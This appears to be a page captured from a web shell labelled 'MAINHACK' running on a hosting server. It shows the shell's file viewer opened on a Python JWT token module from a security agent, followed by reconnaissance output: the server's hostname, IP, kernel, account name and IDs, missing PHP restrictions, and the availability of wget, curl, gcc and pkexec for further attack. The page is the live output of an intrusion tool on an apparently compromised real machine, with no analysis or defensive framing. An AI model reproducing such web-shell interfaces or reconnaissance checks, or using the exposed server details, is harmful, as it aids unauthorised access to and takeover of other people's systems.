[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: jwt_issuer.py
File is not writable. Editing disabled.
import random import string from datetime import datetime, timedelta from defence360agent.subsys.panels.base import InvalidTokenException from defence360agent.contracts.config import UIRole, UserType UIRoleToUserType = { UIRole.ADMIN: UserType.ROOT, UIRole.CLIENT: UserType.NON_ROOT, } JWT_SECRET = "".join( random.choice(string.ascii_uppercase + string.digits) for _ in range(64) ) TOKEN_EXPIRATION_TTL = timedelta(hours=1) class JWTIssuer: @classmethod def get_token(cls, user_name: str, user_type: UIRole) -> str: """ Generates a token with several encoded fields: user name, user type, expiration timestamp """ import jwt return jwt.encode( { "user_type": user_type, "username": user_name, "exp": (datetime.now() + TOKEN_EXPIRATION_TTL).timestamp(), }, JWT_SECRET, ) @classmethod def parse_token(cls, token: str): import jwt # if handle these exceptions at global level, # jwt shoud be imported there, # increasing memory consumation try: decoded = jwt.decode(token, JWT_SECRET, algorithms=["HS256"]) except jwt.PyJWTError: raise InvalidTokenException("INVALID_TOKEN") return { "user_name": decoded["username"], "user_type": UIRoleToUserType[decoded["user_type"]], }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A